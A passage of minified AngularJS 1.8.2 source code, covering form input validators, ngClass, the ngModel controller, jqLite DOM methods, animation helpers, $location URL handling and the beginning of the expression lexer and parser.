tt(n)?(p=n,t=c.$options.getOption("timezone"),t&&(w=t,p=ne(p,t,!0)),i=f,it&&h(c.$options.getOption("timeSecondsFormat"))&&(i=f.replace("ss.sss",c.$options.getOption("timeSecondsFormat")).replace(/:$/,"")),n=v("date")(n,i,t),it&&c.$options.getOption("timeStripZeroSeconds")&&(n=n.replace(/(?::00)?(?:\.000)?$/,"")),n):(w=p=null,"")});(r(s.min)||s.ngMin)&&(k=s.min||y(s.ngMin)(e),d=b(k),c.$validators.min=function(n){return!tt(n)||u(d)||i(n)>=d},s.$observe("min",function(n){n!==k&&(d=b(n),k=n,c.$validate())}));(r(s.max)||s.ngMax)&&(g=s.max||y(s.ngMax)(e),nt=b(g),c.$validators.max=function(n){return!tt(n)||u(nt)||i(n)<=nt},s.$observe("max",function(n){n!==g&&(nt=b(n),g=n,c.$validate())}))}}function ge(n,t,i,r,u){(r.$$hasNativeValidators=o(t[0].validity))&&r.$parsers.push(function(n){var i=t.prop("validity")||{};if(i.badInput||i.typeMismatch)r.$$parserName=u;else return n})}function uc(n){n.$parsers.push(function(t){if(n.$isEmpty(t))return null;if(kb.test(t))return parseFloat(t);n.$$parserName="number"});n.$formatters.push(function(t){if(!n.$isEmpty(t)){if(!nt(t))throw nu("numfmt",t);t=t.toString()}return t})}function ct(n){return r(n)&&!nt(n)&&(n=parseFloat(n)),it(n)?void 0:n}function no(n){var t=n.toString(),i=t.indexOf(".");return-1===i?-1<n&&1>n&&(n=/e-(\d+)$/.exec(t))?Number(n[1]):0:t.length-i-1}function fc(n,t,i){n=Number(n);var u=(n|0)!==n,f=(t|0)!==t,e=(i|0)!==i;if(u||f||e){var r=u?no(n):0,o=f?no(t):0,s=e?no(i):0,r=Math.max(r,o,s),r=Math.pow(10,r);n*=r;t*=r;i*=r;u&&(n=Math.round(n));f&&(t=Math.round(t));e&&(i=Math.round(i))}return 0==(n-t)%i}function ec(n,t,i,u,f){if(r(u)){if(n=n(u),!n.constant)throw nu("constexpr",i,u);return n(t)}return f}function to(n,i){function u(n,t){var u,i,f,r;if(!n||!n.length)return[];if(!t||!t.length)return n;u=[];i=0;n:for(;i<n.length;i++){for(f=n[i],r=0;r<t.length;r++)if(f===t[r])continue n;u.push(f)}return u}function f(n){if(!n)return n;var t=n;return c(n)?t=n.map(f).join(" "):o(n)?t=Object.keys(n).filter(function(t){return n[t]}).join(" "):h(n)||(t=n+""),t}n="ngClass"+n;var r;return["$parse",function(e){return{restrict:"AC",link:function(o,s,h){function a(n,i){var r=[];return t(n,function(n){(0<i||c[n])&&(c[n]=(c[n]||0)+i,c[n]===+(0<i)&&r.push(n))}),r.join(" ")}function p(n){if(n===i){var t=l,t=a(t&&t.split(" "),1);h.$addClass(t)}else t=l,t=a(t&&t.split(" "),-1),h.$removeClass(t);v=n}var c=s.data("$classCounts"),v=!0,l;c||(c=y(),s.data("$classCounts",c));"ngClass"!==n&&(r||(r=e("$index",function(n){return n&1})),o.$watch(r,p));o.$watch(e(h[n],f),function(n){if(v===i){var t=l&&l.split(" "),r=n&&n.split(" "),f=u(t,r),t=u(r,t),f=a(f,-1),t=a(t,1);h.$addClass(t);h.$removeClass(f)}l=n})}}}]}function oc(n,t,i,r,u,f){return{restrict:"A",compile:function(e,o){var s=n(o[r]);return function(n,r){r.on(u,function(r){var u=function(){s(n,{$event:r})};if(t.$$phase)if(f)n.$evalAsync(u);else try{u()}catch(e){i(e)}else n.$apply(u)})}}}}function ku(n,t,i,r,u,f,e,o,s){this.$modelValue=this.$viewValue=Number.NaN;this.$$rawModelValue=void 0;this.$validators={};this.$asyncValidators={};this.$parsers=[];this.$formatters=[];this.$viewChangeListeners=[];this.$untouched=!0;this.$touched=!1;this.$pristine=!0;this.$dirty=!1;this.$valid=!0;this.$invalid=!1;this.$error={};this.$$success={};this.$pending=void 0;this.$name=s(i.name||"",!1)(n);this.$$parentForm=ur;this.$options=lf;this.$$updateEvents="";this.$$updateEventHandler=this.$$updateEventHandler.bind(this);this.$$parsedNgModel=u(i.ngModel);this.$$parsedNgModelAssign=this.$$parsedNgModel.assign;this.$$ngModelGet=this.$$parsedNgModel;this.$$ngModelSet=this.$$parsedNgModelAssign;this.$$pendingDebounce=null;this.$$parserValid=void 0;this.$$parserName="parse";this.$$currentValidationRunId=0;this.$$scope=n;this.$$rootScope=n.$root;this.$$attr=i;this.$$element=r;this.$$animate=f;this.$$timeout=e;this.$$parse=u;this.$$q=o;this.$$exceptionHandler=t;tc(this);ap(this)}function ap(n){n.$$scope.$watch(function(t){return t=n.$$ngModelGet(t),t===n.$modelValue||n.$modelValue!==n.$modelValue&&t!==t||n.$$setModelValue(t),t})}function io(n){this.$$options=n}function sc(n,i){t(i,function(t,i){r(n[i])||(n[i]=t)})}function hi(n,t){n.prop("selected",t);n.attr("selected",t)}function hc(n,t,i){if(n){if(h(n)&&(n=new RegExp("^"+n+"$")),!n.test)throw l("ngPattern")("noregexp",t,n,bt(i));return n}}function du(n){return n=rt(n),it(n)?-1:n}var ro={objectMaxDepth:5,urlErrorParamsEnabled:!0},cc=/^\/(.+)\/([a-z]*)$/,pt=Object.prototype.hasOwnProperty,a=function(n){return h(n)?n.toLowerCase():n},gu=function(n){return h(n)?n.toUpperCase():n},wt,f,nf,ni=[].slice,vp=[].splice,yp=[].push,ft=Object.prototype.toString,lc=Object.getPrototypeOf,ci=l("ng"),et=n.angular||(n.angular={}),uo,tf=0,it,ai,yc,nr,oo,so,ho,co,lo,pc,nl,kr,i,yo,il,fl,el,ol,dr,ur,kl,lf,dl;wt=n.document.documentMode;it=Number.isNaN||function(n){return n!==n};s.$inject=[];ui.$inject=[];var pp=/^\[object (?:Uint8|Uint8Clamped|Uint16|Uint32|Int8|Int16|Int32|Float32|Float64)Array]$/,p=function(n){return h(n)?n.trim():n},ac=function(n){return n.replace(/([-()[\]{}+?*.$^|,:#<!\\])/g,"\\$1").replace(/\x08/g,"\\x08")},li=function(){var i,t;if(!r(li.rules))if(i=n.document.querySelector("[ng-csp]")||n.document.querySelector("[data-ng-csp]"),i)t=i.getAttribute("ng-csp")||i.getAttribute("data-ng-csp"),li.rules={noUnsafeEval:!t||-1!==t.indexOf("no-unsafe-eval"),noInlineStyle:!t||-1!==t.indexOf("no-inline-style")};else{i=li;try{new Function("");t=!1}catch(u){t=!0}i.rules={noUnsafeEval:t,noInlineStyle:!1}}return li.rules},rf=function(){if(r(rf.name_))return rf.name_;for(var u,e=gi.length,i,f,t=0;t<e;++t)if(i=gi[t],u=n.document.querySelector("["+i.replace(":","\\:")+"jq]")){f=u.getAttribute(i+"jq");break}return rf.name_=f},wp=/:/g,gi=["ng-","data-ng-","ng:","x-ng-"],bp=function(t){var i=t.currentScript;return i?(i instanceof n.HTMLScriptElement||i instanceof n.SVGScriptElement)?(i=i.attributes,[i.getNamedItem("src"),i.getNamedItem("href"),i.getNamedItem("xlink:href")].every(function(n){if(!n)return!0;if(!n.value)return!1;var i=t.createElement("a");if(i.href=n.value,t.location.origin===i.origin)return!0;switch(i.protocol){case"http:":case"https:":case"ftp:":case"blob:":case"file:":case"data:":return!0;default:return!1}})):!1:!0}(n.document),kp=/[A-Z]/g,vc=!1,ii=3,dp={full:"1.8.2",major:1,minor:8,dot:2,codeName:"meteoric-mining"};w.expando="ng339";ai=w.cache={};yc=1;w._data=function(n){return this.cache[n[this.expando]]||{}};var gp=/-([a-z])/g,nw=/^-ms-/,uf={mouseleave:"mouseout",mouseenter:"mouseover"},fo=l("jqLite"),tw=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,eo=/<|&#?\w+;/,iw=/<([\w:-]+)/,rw=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,kt={thead:["table"],col:["colgroup","table"],tr:["tbody","table"],td:["tr","tbody","table"]};kt.tbody=kt.tfoot=kt.colgroup=kt.caption=kt.thead;kt.th=kt.td;nr={option:[1,'<select multiple="multiple">',"<\/select>"],_default:[0,"",""]};for(oo in kt)so=kt[oo],ho=so.slice().reverse(),nr[oo]=[ho.length,"<"+ho.join("><")+">","<\/"+so.join("><\/")+">"];nr.optgroup=nr.option;var uw=n.Node.prototype.contains||function(n){return!!(this.compareDocumentPosition(n)&16)},tr=w.prototype={ready:as,toString:function(){var n=[];return t(this,function(t){n.push(""+t)}),"["+n.join(", ")+"]"},eq:function(n){return 0<=n?f(this[n]):f(this[this.length+n])},length:0,push:yp,sort:[].sort,splice:[].splice},ff={};t("multiple selected checked disabled readOnly required open".split(" "),function(n){ff[a(n)]=n});co={};t("input select option textarea button form details".split(" "),function(n){co[n]=!0});lo={ngMinlength:"minlength",ngMaxlength:"maxlength",ngMin:"min",ngMax:"max",ngPattern:"pattern",ngStep:"step"};t({data:oe,removeData:ee,hasData:function(n){for(var t in ai[n.ng339])return!0;return!1},cleanData:function(n){for(var t=0,i=n.length;t<i;t++)ee(n[t]),hs(n[t])}},function(n,t){w[t]=n});t({data:oe,inheritedData:cu,scope:function(n){return f.data(n,"$scope")||cu(n.parentNode||n,["$isolateScope","$scope"])},isolateScope:function(n){return f.data(n,"$isolateScope")||f.data(n,"$isolateScopeNoTemplate")},controller:cs,injector:function(n){return cu(n,"$injector")},removeAttr:function(n,t){n.removeAttribute(t)},hasClass:ou,css:function(n,t,i){if(t=uu(t.replace(nw,"ms-")),r(i))n.style[t]=i;else return n.style[t]},attr:function(n,t,i){var u=n.nodeType,f;if(u!==ii&&2!==u&&8!==u&&n.getAttribute)if(u=a(t),f=ff[u],r(i))null===i||!1===i&&f?n.removeAttribute(t):n.setAttribute(t,f?u:i);else return n=n.getAttribute(t),f&&null!==n&&(n=u),null===n?void 0:n},prop:function(n,t,i){if(r(i))n[t]=i;else return n[t]},text:function(){function n(n,t){if(u(t)){var i=n.nodeType;return 1===i||i===ii?n.textContent:""}n.textContent=t}return n.$dv="",n}(),val:function(n,i){if(u(i)){if(n.multiple&&"select"===lt(n)){var r=[];return t(n.options,function(n){n.selected&&r.push(n.value||n.text)}),r}return n.value}n.value=i},html:function(n,t){if(u(t))return n.innerHTML;fu(n,!0);n.innerHTML=t},empty:ls},function(n,t){w.prototype[t]=function(t,i){var r,f,e=this.length,s;if(n!==ls&&u(2===n.length&&n!==ou&&n!==cs?t:i)){if(o(t)){for(r=0;r<e;r++)if(n===oe)n(this[r],t);else for(f in t)n(this[r],f,t[f]);return this}for(r=n.$dv,e=u(r)?Math.min(e,1):e,f=0;f<e;f++)s=n(this[f],t,i),r=r?r+s:s;return r}for(r=0;r<e;r++)n(this[r],t,i);return this}});t({removeData:ee,on:function(n,t,i,u){var f,e,s,o;if(r(u))throw fo("onargs");if(ue(n))for(u=eu(n,!0),f=u.events,e=u.handle,e||(e=u.handle=nv(n,f)),u=0<=t.indexOf(" ")?t.split(" "):[t],s=u.length,o=function(t,r,u){var o=f[t];o||(o=f[t]=[],o.specialHandlerWrapper=r,"$destroy"===t||u||n.addEventListener(t,e));o.push(i)};s--;)t=u[s],uf[t]?(o(uf[t],iv),o(t,void 0,!0)):o(t)},off:hs,one:function(n,t,i){n=f(n);n.on(t,function r(){n.off(t,i);n.off(t,r)});n.on(t,i)},replaceWith:function(n,i){var r,u=n.parentNode;fu(n);t(new w(i),function(t){r?u.insertBefore(t,r.nextSibling):u.replaceChild(t,n);r=t})},children:function(n){var i=[];return t(n.childNodes,function(n){1===n.nodeType&&i.push(n)}),i},contents:function(n){return n.contentDocument||n.childNodes||[]},append:function(n,t){var i=n.nodeType,r;if(1===i||11===i)for(t=new w(t),i=0,r=t.length;i<r;i++)n.appendChild(t[i])},prepend:function(n,i){if(1===n.nodeType){var r=n.firstChild;t(new w(i),function(t){n.insertBefore(t,r)})}},wrap:function(n,t){var i=f(t).eq(0).clone()[0],r=n.parentNode;r&&r.replaceChild(i,n);i.appendChild(n)},remove:lu,detach:function(n){lu(n,!0)},after:function(n,t){var u=n,f=n.parentNode,i,e,r;if(f)for(t=new w(t),i=0,e=t.length;i<e;i++)r=t[i],f.insertBefore(r,u.nextSibling),u=r},addClass:hu,removeClass:su,toggleClass:function(n,i,r){i&&t(i.split(" "),function(t){var i=r;u(i)&&(i=!ou(n,t));(i?hu:su)(n,t)})},parent:function(n){return(n=n.parentNode)&&11!==n.nodeType?n:null},next:function(n){return n.nextElementSibling},find:function(n,t){return n.getElementsByTagName?n.getElementsByTagName(t):[]},clone:fe,triggerHandler:function(n,i,r){var u,e,o=i.type||i,f=eu(n);(f=(f=f&&f.events)&&f[o])&&(u={preventDefault:function(){this.defaultPrevented=!0},isDefaultPrevented:function(){return!0===this.defaultPrevented},stopImmediatePropagation:function(){this.immediatePropagationStopped=!0},isImmediatePropagationStopped:function(){return!0===this.immediatePropagationStopped},stopPropagation:s,type:o,target:n},i.type&&(u=v(u,i)),i=vt(f),e=r?[u].concat(r):[u],t(i,function(t){u.isImmediatePropagationStopped()||t.apply(n,e)}))}},function(n,t){w.prototype[t]=function(t,i,e){for(var o,s=0,h=this.length;s<h;s++)u(o)?(o=n(this[s],t,i,e),r(o)&&(o=f(o))):se(o,n(this[s],t,i,e));return r(o)?o:this}});w.prototype.bind=w.prototype.on;w.prototype.unbind=w.prototype.off;pc=Object.create(null);ys.prototype={_idx:function(n){return n!==this._lastKey&&(this._lastKey=n,this._lastIndex=this._keys.indexOf(n)),this._lastIndex},_transformKey:function(n){return it(n)?pc:n},get:function(n){return n=this._transformKey(n),n=this._idx(n),-1!==n?this._values[n]:void 0},has:function(n){return n=this._transformKey(n),-1!==this._idx(n)},set:function(n,t){n=this._transformKey(n);var i=this._idx(n);-1===i&&(i=this._lastIndex=this._keys.length);this._keys[i]=n;this._values[i]=t},"delete":function(n){return(n=this._transformKey(n),n=this._idx(n),-1===n)?!1:(this._keys.splice(n,1),this._values.splice(n,1),this._lastKey=NaN,this._lastIndex=-1,!0)}};var ef=ys,fw=[function(){this.$get=[function(){return ef}]}],ew=/^([^(]+?)=>/,ow=/^[^(]*\(\s*([^)]*)\)/m,sw=/,/,hw=/^\s*(_?)(\S+?)\1\s*$/,cw=/((\/\/.*$)|(\/\*[\s\S]*?\*\/))/mg,vi=l("$injector");vr.$$annotate=function(n,i,r){var u;if("function"==typeof n){if(!(u=n.$inject)){if(u=[],n.length){if(i)throw h(r)&&r||(r=n.name||uv(n)),vi("strictdi",r);i=ps(n);t(i[1].split(sw),function(n){n.replace(hw,function(n,t,i){u.push(i)})})}n.$inject=u}}else c(n)?(i=n.length-1,tu(n[i],"fn"),u=n.slice(0,i)):tu(n,"fn",!0);return u};var wc=l("$animate"),lw=function(){this.$get=s},aw=function(){var n=new ef,i=[];this.$get=["$$AnimateRunner","$rootScope",function(r,u){function f(n,i,r){var u=!1;return i&&(i=h(i)?i.split(" "):c(i)?i:[],t(i,function(t){t&&(u=!0,n[t]=r)})),u}function e(){t(i,function(i){var f=n.get(i);if(f){var e=ev(i.attr("class")),r="",u="";t(f,function(n,t){n!==!!e[t]&&(n?r+=(r.length?" ":"")+t:u+=(u.length?" ":"")+t)});t(i,function(n){r&&hu(n,r);u&&su(n,u)});n.delete(i)}});i.length=0}return{enabled:s,on:s,off:s,pin:s,push:function(t,o,s,h){return h&&h(),s=s||{},s.from&&t.css(s.from),s.to&&t.css(s.to),(s.addClass||s.removeClass)&&(o=s.addClass,h=s.removeClass,s=n.get(t)||{},o=f(s,o,!0),h=f(s,h,!1),o||h)&&(n.set(t,s),i.push(t),1===i.length&&u.$$postDigest(e)),t=new r,t.complete(),t}}}]},vw=["$provide",function(n){var r=this,t=null,i=null;this.$$registeredAnimations=Object.create(null);this.register=function(t,i){if(t&&"."!==t.charAt(0))throw wc("notcsel",t);var u=t+"-animation";r.$$registeredAnimations[t.substr(1)]=u;n.factory(u,i)};this.customFilter=function(n){return 1===arguments.length&&(i=e(n)?n:null),i};this.classNameFilter=function(n){if(1===arguments.length&&(t=n instanceof RegExp?n:null)&&/[(\s|\/)]ng-animate[(\s|\/)]/.test(t.toString()))throw t=null,wc("nongcls","ng-animate");return t};this.$get=["$$animateQueue",function(n){function t(n,t,i){var r,u;if(i){n:{for(r=0;r<i.length;r++)if(u=i[r],1===u.nodeType){r=u;break n}r=void 0}!r||r.parentNode||r.previousElementSibling||(i=null)}i?i.after(n):t.prepend(n)}return{on:n.on,off:n.off,pin:n.pin,enabled:n.enabled,cancel:function(n){n.cancel&&n.cancel()},enter:function(i,r,u,e){return r=r&&f(r),u=u&&f(u),r=r||u.parent(),t(i,r,u),n.push(i,"enter",ei(e))},move:function(i,r,u,e){return r=r&&f(r),u=u&&f(u),r=r||u.parent(),t(i,r,u),n.push(i,"move",ei(e))},leave:function(t,i){return n.push(t,"leave",ei(i),function(){t.remove()})},addClass:function(t,i,r){return r=ei(r),r.addClass=yr(r.addclass,i),n.push(t,"addClass",r)},removeClass:function(t,i,r){return r=ei(r),r.removeClass=yr(r.removeClass,i),n.push(t,"removeClass",r)},setClass:function(t,i,r,u){return u=ei(u),u.addClass=yr(u.addClass,i),u.removeClass=yr(u.removeClass,r),n.push(t,"setClass",u)},animate:function(t,i,r,u,f){return f=ei(f),f.from=f.from?v(f.from,i):i,f.to=f.to?v(f.to,r):r,f.tempClasses=yr(f.tempClasses,u||"ng-inline-animate"),n.push(t,"animate",f)}}}]}],yw=function(){this.$get=["$$rAF",function(n){function i(i){t.push(i);1<t.length||n(function(){for(var n=0;n<t.length;n++)t[n]();t=[]})}var t=[];return function(){var n=!1;return i(function(){n=!0}),function(t){n?t():i(t)}}}]},pw=function(){this.$get=["$q","$sniffer","$$animateAsyncRun","$$isDocumentHidden","$timeout",function(n,i,r,u,f){function e(n){this.setHost(n);var t=r();this._doneCallbacks=[];this._tick=function(n){u()?f(n,0,!1):t(n)};this._state=0}return e.chain=function(n,t){function r(){i===n.length?t(!0):n[i](function(n){!1===n?t(!1):(i++,r())})}var i=0;r()},e.all=function(n,i){function u(t){r=r&&t;++f===n.length&&i(r)}var f=0,r=!0;t(n,function(n){n.done(u)})},e.prototype={setHost:function(n){this.host=n||{}},done:function(n){2===this._state?n():this._doneCallbacks.push(n)},progress:s,getPromise:function(){if(!this.promise){var t=this;this.promise=n(function(n,i){t.done(function(t){!1===t?i():n()})})}return this.promise},then:function(n,t){return this.getPromise().then(n,t)},"catch":function(n){return this.getPromise()["catch"](n)},"finally":function(n){return this.getPromise()["finally"](n)},pause:function(){this.host.pause&&this.host.pause()},resume:function(){this.host.resume&&this.host.resume()},end:function(){this.host.end&&this.host.end();this._resolve(!0)},cancel:function(){this.host.cancel&&this.host.cancel();this._resolve(!1)},complete:function(n){var t=this;0===t._state&&(t._state=1,t._tick(function(){t._resolve(n)}))},_resolve:function(n){2!==this._state&&(t(this._doneCallbacks,function(t){t(n)}),this._doneCallbacks.length=0,this._state=2)}},e}]},ww=function(){this.$get=["$$rAF","$q","$$AnimateRunner",function(n,t,i){return function(t,r){function e(){return n(function(){u.addClass&&(t.addClass(u.addClass),u.addClass=null);u.removeClass&&(t.removeClass(u.removeClass),u.removeClass=null);u.to&&(t.css(u.to),u.to=null);o||f.complete();o=!0}),f}var u=r||{},o,f;return u.$$prepared||(u=fi(u)),u.cleanupStyles&&(u.from=u.to=null),u.from&&(t.css(u.from),u.from=null),f=new i,{start:e,end:e}}}]},b=l("$compile"),ao=new function(){};ws.$inject=["$provide","$$sanitizeUriProvider"];au.prototype.isFirstChange=function(){return this.previousValue===ao};var bc=/^((?:x|data)[:\-_])/i,bw=/[:\-_]+(.)/g,kc=l("$controller"),dc=/^(\S+)(\s+as\s+([\w$]+))?$/,kw=function(){this.$get=["$document",function(n){return function(t){return t?!t.nodeType&&t instanceof f&&(t=t[0]):t=n[0].body,t.offsetWidth+1}}]},gc="application/json",vo={"Content-Type":gc+";charset=utf-8"},dw=/^\[|^\{(?!\{)/,gw={"[":/]$/,"{":/}$/},nb=/^\)]\}',?\n/,sf=l("$http"),yi=et.$interpolateMinErr=l("$interpolate");yi.throwNoconcat=function(n){throw yi("noconcat",n);};yi.interr=function(n,t){return yi("interr",n,t.toString())};var tb=l("$interval"),ib=function(){this.$get=function(){function i(n){var t=function(n){t.data=n;t.called=!0};return t.id=n,t}var t=et.callbacks,n={};return{createCallback:function(r){r="_"+(t.$$counter++).toString(36);var u="angular.callbacks."+r,f=i(r);return n[u]=t[r]=f,u},wasCalled:function(t){return n[t].called},getResponse:function(t){return n[t].data},removeCallback:function(i){delete t[n[i].id];delete n[i]}}}},rb=/^([^?#]*)(\?([^#]*))?(#(.*))?$/,ub={http:80,https:443,ftp:21},br=l("$location"),fb=/^\s*[\\/]{2,}/,eb={$$absUrl:"",$$html5:!1,$$replace:!1,$$compose:function(){for(var n=this.$$path,t=this.$$hash,r=ha(this.$$search),t=t?"#"+ie(t):"",n=n.split("/"),i=n.length;i--;)n[i]=ie(n[i].replace(/%2F/g,"/"));this.$$url=n.join("/")+(r?"?"+r:"")+t;this.$$absUrl=this.$$normalizeUrl(this.$$url);this.$$urlUpdatedByLocation=!0},absUrl:vu("$$absUrl"),url:function(n){if(u(n))return this.$$url;var t=rb.exec(n);return(t[1]||""===n)&&this.path(decodeURIComponent(t[1])),(t[2]||t[1]||""===n)&&this.search(t[3]||""),this.hash(t[5]||""),this},protocol:vu("$$protocol"),host:vu("$$host"),port:vu("$$port"),path:uh("$$path",function(n){return n=null!==n?n.toString():"","/"===n.charAt(0)?n:"/"+n}),search:function(n,i){switch(arguments.length){case 0:return this.$$search;case 1:if(h(n)||nt(n))n=n.toString(),this.$$search=te(n);else if(o(n))n=fi(n,{}),t(n,function(t,i){null==t&&delete n[i]}),this.$$search=n;else throw br("isrcharg");break;default:u(i)||null===i?delete this.$$search[n]:this.$$search[n]=i}return this.$$compose(),this},hash:uh("$$hash",function(n){return null!==n?n.toString():""}),replace:function(){return this.$$replace=!0,this}};t([rh,ve,ae],function(n){n.prototype=Object.create(eb);n.prototype.state=function(t){if(!arguments.length)return this.$$state;if(n!==ae||!this.$$html5)throw br("nostate");return this.$$state=u(t)?null:t,this.$$urlUpdatedByLocation=!0,this}});var ir=l("$parse"),ob={}.constructor.prototype.valueOf,hf=y();t("+ - * / % === !== == != < > <= >= && || ! = |".split(" "),function(n){hf[n]=!0});nl={n:"\n",f:"\f",r:"\r",t:"\t",v:"\v","'":"'",'"':'"'};kr=function(n){this.options=n};kr.prototype={constructor:kr,lex:function(n){for(this.text=n,this.index=0,this.tokens=[];this.index<this.text.length;)if(n=this.text.charAt(this.index),'"'===n||"'"===n)this.readString(n);else if(this.isNumber(n)||"."===n&&this.isNumber(this.peek()))this.readNumber();else if(this.isIdentifierStart(this.peekMultichar()))this.readIdent();else if(this.is(n,"(){}[].,;:?"))this.tokens.push({index:this.index,text:n}),this.index++;else if(this.isWhitespace(n))this.index++;else{var t=n+this.peek(),i=t+this.peek(2),r=hf[t],u=hf[i];hf[n]||r||u?(n=u?i:r?t:n,this.tokens.push({index:this.index,text:n,operator:!0}),this.index+=n.length):this.throwError("Unexpected next character ",this.index,this.index+1)}return this.tokens},is:function(n,t){return-1!==t.indexOf(n)},peek:function(n){return n=n||1,this.index+n<this.text.length?this.text.charAt(this.index+n):!1},isNumber:function(n){return"0"<=n&&"9">=n&&"string"==typeof n},isWhitespace:function(n){return" "===n||"\r"===n||"\t"===n||"\n"===n||"\v"===n||" "===n},isIdentifierStart:function(n){return this.options.isIdentifierStart?this.options.isIdentifierStart(n,this.codePointAt(n)):this.isValidIdentifierStart(n)},isValidIdentifierStart:function(n){return"a"<=n&&"z">=n||"A"<=n&&"Z">=n||"_"===n||"$"===n},isIdentifierContinue:function(n){return this.options.isIdentifierContinue?this.options.isIdentifierContinue(n,this.codePointAt(n)):this.isValidIdentifierContinue(n)},isValidIdentifierContinue:function(n,t){return this.isValidIdentifierStart(n,t)||this.isNumber(n)},codePointAt:function(n){return 1===n.length?n.charCodeAt(0):(n.charCodeAt(0)<<10)+n.charCodeAt(1)-56613888},peekMultichar:function(){var n=this.text.charAt(this.index),t=this.peek(),i,r;return t?(i=n.charCodeAt(0),r=t.charCodeAt(0),55296<=i&&56319>=i&&56320<=r&&57343>=r?n+t:n):n},isExpOperator:function(n){return"-"===n||"+"===n||this.isNumber(n)},throwError:function(n,t,i){i=i||this.index;t=r(t)?"s "+t+"-"+this.index+" ["+this.text.substring(t,i)+"]":" "+i;throw ir("lexerr",n,t,this.text);},readNumber:function(){for(var t,i,n="",r=this.index;this.index<this.text.length;){if(t=a(this.text.charAt(this.index)),"."===t||this.isNumber(t))n+=t;else if(i=this.peek(),"e"===t&&this.isExpOperator(i))n+=t;else if(this.isExpOperator(t)&&i&&this.isNumber(i)&&"e"===n.charAt(n.length-1))n+=t;else if(!this.isExpOperator(t)||i&&this.isNumber(i)||"e"!==n.charAt(n.length-1))break;else this.throwError("Invalid exponent");this.index++}this.tokens.push({index:r,text:n,constant:!0,value:Number(n)})},readIdent:function(){var t=this.index,n;for(this.index+=this.peekMultichar().length;this.index<this.text.length;){if(n=this.peekMultichar(),!this.isIdentifierContinue(n))break;this.index+=n.length}this.tokens.push({index:t,text:this.text.slice(t,this.index),identifier:!0})},readString:function(n){var f=this.index,t,u;this.index++;for(var r="",u=n,i=!1;this.index<this.text.length;){if(t=this.text.charAt(this.index),u=u+t,i)"u"===t?(i=this.text.substring(this.index+1,this.index+5),i.match(/[\da-f]{4}/i)||this.throwError("Invalid unicode escape [\\u"+i+"]"),this.index+=4,r+=String.fromCharCode(parseInt(i,16))):r+=nl[t]||t,i=!1;else if("\\"===t)i=!0;else{if(t===n){this.index++;this.tokens.push({index:f,text:u,constant:!0,value:r});return}r+=t}this.index++}this.throwError("Unterminated quote",f)}};i=function(n,t){this.lexer=n;this.options=t};i.Program="Program";i.ExpressionStatement="ExpressionStatement";i.AssignmentExpression="AssignmentExpression";i.ConditionalExpression="ConditionalExpression";i.LogicalExpression="LogicalExpression";i.BinaryExpression="BinaryExpression";i.UnaryExpression="UnaryExpression";i.CallExpression="CallExpression";i.MemberExpression="MemberExpression";i.Identifier="Identifier";i.Literal="Literal";i.ArrayExpression="ArrayExpression";i.Property="Property";i.ObjectExpression="ObjectExpression";i.ThisExpression="ThisExpression";i.LocalsExpression="LocalsExpression";i.NGValueParameter="NGValueParameter";i.prototype={ast:function(n){return this.text=n,this.tokens=this.lexer.lex(n),n=this.program(),0!==this.tokens.length&&this.throwError("is an unexpected token",this.tokens[0]),n},program:function(){for(var n=[];;)if(0<this.tokens.length&&!this.peek("}",")",";","]")&&n.push(this.expressionStatement()),!this.expect(";"))return{type:i.Program,body:n}},expressionStatement:function(){return{type:i.ExpressionStatement,expression:this.filterChain()}},filterChain:function(){for(var n=this.expression();this.expect("|");)n=this.filter(n);return n},expression:function(){return this.assignment()},assignment:function(){var n=this.ternary();if(this.expect("=")){if(!oh(n))throw ir("lval");n={type:i.AssignmentExpression,left:n,right:this.assignment(),operator:"="}}return n},ternary:function(){var n=this.logicalOR(),t,r;return this.expect("?")&&(t=this.expression(),this.consume(":"))?(r=this.expression(),{type:i.ConditionalExpression,test:n,alternate:t,consequent:r}):n},logicalOR:function(){for(var n=this.logicalAND();this.expect("||");)n={type:i.LogicalExpression,operator:"||",left:n,right:this.logicalAND()};return n},logicalAND:function(){for(var n=this.equality();this.expect("&&");)n={type:i.LogicalExpression,operator:"&&",left:n,right:this.equality()};return n},equality:function(){for(var n=this.relational(),t;t=this.expect("==","!=","===","!==");)n={type:i.BinaryExpression,operator:t.text,left:n,right:this.relational()};return n},relational:function(){for(var n=this.additive(),t;t=this.expect("<",">","<=",">=");)n={type:i.BinaryExpression,operator:t.text,left:n,right:this.additive()};return n},additive:function(){for(var n=this.multiplicative(),t;t=this.expect("+","-");)n={type:i.BinaryExpression,operator:t.text,left:n,right:this.multiplicative()};return n},multiplicative:function(){for(var n=this.unary(),t;t=this.expect("*","/","%");)n={type:i.BinaryExpression,operator:t.text,left:n,right:this.unary()};return n},unary:function(){var n;return(n=this.expect("+","-","!"))?{type:i.UnaryExpression,operator:n.text,prefix:!0,argument:this.unary()}:this.primary()},primary:function(){var n,t;for(this.expect("(")?(n=this.filterChain(),this.consume(")")):this.expect("[")?n=this.arrayDeclaration():this.expect("{")?n=this.object():this.selfReferential.hasOwnProperty(this.peek().text)?n=fi(this.selfReferential[this.consume().text]):this.options.literals.hasOwnProperty(this.peek().text)?n={type:i.Literal,value:this.options.literals[this.consume().text]}:this.peek().identifier?n=this.identifier():this.peek().constant?n=this.constant():this.throwError("not a primary expression",this.peek());t=this.expect("(","[",".");)"("===t.text?(n={type:i.CallExpression,callee:n,arguments:this.parseArguments()},this.consume(")")):"["===t.text?(n={type:i.MemberExpression,object:n,property:this.expression(),computed:!0},this.consume("]")):"."===t.text?n={type:i.MemberExpression,object:n,property:this.identifier(),computed:!1}:this.throwError("IMPOSSIBLE");return n},filter:function(n){n=[n];for(var t={type:i.CallExpression,callee:this.identifier(),arguments:n,filter:!0};this.expect(":");)n.push(this.expression());return t},parseArguments:function(){var n=[];if(")"!==this.peekToken().text)do n.push(this.filterChain());while(this.expect(","));return n},identifier:function(){var n=this.consume();return n.identifier||this.throwError("is not a valid identifier",n),{type:i.Identifier,name:n.text}},constant:function(){return{type:i.Literal,value:this.consume().value}},arrayDeclaration:function(){var n=[];if("]"!==this.peekToken().text)do{if(this.peek("]"))break;n.push(this.expression())}while(this.expect(","));return this.consume("]"),{type:i.ArrayExpression,elements:n}},object:function(){var 